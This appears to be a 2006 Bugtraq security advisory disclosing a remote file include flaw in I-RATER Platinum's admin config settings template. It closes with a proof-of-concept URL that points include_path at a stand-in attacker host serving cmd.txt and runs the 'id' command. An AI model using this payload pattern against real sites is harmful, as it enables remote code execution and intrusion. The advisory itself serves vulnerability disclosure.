[Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php"
Date: 28 Apr 2006 12:13:31 -0000
From: botan@linuxmail.org
To: bugtraq@securityfocus.com
Subject: [Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php"
Remote File Include Vulnerability
X-Virus-Scanned: antivirus-gw at tyumen.ru
Website : http://www.i-rater.com
Risk : High
Class : Remote
References :
http://www.securityfocus.com/bid/17623
Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend
Remote Code :
http://www.site.com/admin/config_settings.tpl.php?include_path=http://www.evilrox.com/cmd.txt?&cmd=id
